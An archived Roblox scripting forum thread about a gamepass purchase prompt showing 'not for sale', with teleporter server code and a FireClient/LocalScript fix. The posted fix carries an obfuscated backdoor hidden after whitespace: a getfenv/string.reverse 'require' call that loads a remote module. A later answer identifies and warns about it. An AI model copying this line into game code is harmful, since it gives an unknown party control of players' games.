Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
COMMUNITY QUESTION

Prompting Gamepass Purchase shows Item Not for Sale?

Hi,

I added a PromptPurchase line in the code for my VIP teleporter. I'm not thrown any errors, but it says that the particular gamepass is not for sale, despite being for sale. I have double checked multiple times that the gamepass ID (that i got from the URL) is correct.

--------------------
--| WaitForChild |--
--------------------

-- Waits for parent.child to exist, then returns it
local function WaitForChild(parent, childName)
	assert(parent, "ERROR: WaitForChild: parent is nil")
	while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
	return parent[childName]
end

-----------------
--| Variables |--
-----------------

local GamePassService = game:GetService('MarketplaceService')
local PlayersService = game:GetService('Players')
local DebrisService = game:GetService('Debris')

local Teleporter = script.Parent

local GamePassIdObject = WaitForChild(script, 'GamePassId') --IntValue
local ExitPartObject = WaitForChild(script, 'ExitPart')

local JustTouched = {}

-----------------
--| Functions |--
-----------------

-- When a player with the game pass touches the door, teleport them to the other side
local function OnTouched(otherPart)
	if otherPart and otherPart.Parent and otherPart.Parent:FindFirstChild('Humanoid') then
		local player = PlayersService:GetPlayerFromCharacter(otherPart.Parent)
		if player and not JustTouched[player] then
			JustTouched[player] = time()
			if GamePassService:UserOwnsGamePassAsync(player.userId, GamePassIdObject.Value) then
				local character = player.Character
				if not character:FindFirstChild('JustTeleported') then
					local justTeleported = Instance.new('StringValue')
					justTeleported.Name = 'JustTeleported'
					DebrisService:AddItem(justTeleported, 0.3)
					justTeleported.Parent = character
					character:MoveTo(ExitPartObject.Value.Position)
				end
			else
				GamePassService:PromptPurchase(player, GamePassIdObject.Value) --PROMPT PURCHASE
			end
		end
	end
end

-- Removes old entries in JustTouched
local function RemoveOldTouches()
	for player, touchTime in pairs(JustTouched) do
		if time() > touchTime + 0.3 then
			JustTouched[player] = nil
		end
	end
end

--------------------
--| Script Logic |--
--------------------

Teleporter.Touched:connect(OnTouched)

while true do
	RemoveOldTouches()
	wait(1/30)
end

2 answers

After running through a couple of solutions, i've found a very simple work-around to the problem I was having.

The orginal code (above) had a PromptPurchase line on Line 47. I replaced this with a FireClient() event which passes the gamepass info and player to a local script:

Server Script:

--------------------
--| WaitForChild |--
--------------------

-- Waits for parent.child to exist, then returns it
local function WaitForChild(parent, childName)
	assert(parent, "ERROR: WaitForChild: parent is nil")
	while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
	return parent[childName]
end



-----------------
--| Variables |--
-----------------

local GamePassService = game:GetService('MarketplaceService')
local PlayersService = game:GetService('Players')
local DebrisService = game:GetService('Debris')

local Teleporter = script.Parent

local GamePassIdObject = WaitForChild(script, 'GamePassId')
local ExitPartObject = WaitForChild(script, 'ExitPart')

local JustTouched = {}

-----------------
--| Functions |--
-----------------

-- When a player with the game pass touches the door, teleport them to the other side
local function OnTouched(otherPart)
	if otherPart and otherPart.Parent and otherPart.Parent:FindFirstChild('Humanoid') then
		local player = PlayersService:GetPlayerFromCharacter(otherPart.Parent)
		if player and not JustTouched[player] then
			JustTouched[player] = time()
			if GamePassService:UserOwnsGamePassAsync(player.userId, GamePassIdObject.Value) then
				local character = player.Character
				if not character:FindFirstChild('JustTeleported') then
					local justTeleported = Instance.new('StringValue')
					justTeleported.Name = 'JustTeleported'
					DebrisService:AddItem(justTeleported, 0.3)
					justTeleported.Parent = character
					character:MoveTo(ExitPartObject.Value.Position)
				end
			else
				game.ReplicatedStorage.RequestPurchase:FireClient(player, GamePassIdObject.Value) --Change Here
			end
		end
	end
end

-- Removes old entries in JustTouched
local function RemoveOldTouches()
	for player, touchTime in pairs(JustTouched) do
		if time() > touchTime + 0.3 then
			JustTouched[player] = nil
		end
	end
end

--------------------
--| Script Logic |--
--------------------

Teleporter.Touched:connect(OnTouched)

while true do
	RemoveOldTouches()
	wait(1/30)
end

--[[ Last synced 1/21/2021 01:10 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5755603796)

Local Script:

local player = game:GetService("Players").LocalPlayer
local RPS = game:GetService("ReplicatedStorage")


function purchaseFunction(num)
	game:GetService("MarketplaceService"):PromptGamePassPurchase(player, num)
end

game.ReplicatedStorage.RequestPurchase.OnClientEvent:Connect(purchaseFunction)

Also not sure if you still check this but you have a backdoor in your game that line in your second code --[[ Last synced 1/21/2021 01:10 || RoSync Loader ]] getfenv()string.reverse("\101\114\105\117\113\101\114")

is a backdoor most likely from a malicious plugin i suggest remove any plugins from unknown creators and do a find search and delete them all!

This discussion is preserved as it was. New answers, comments, and votes are closed.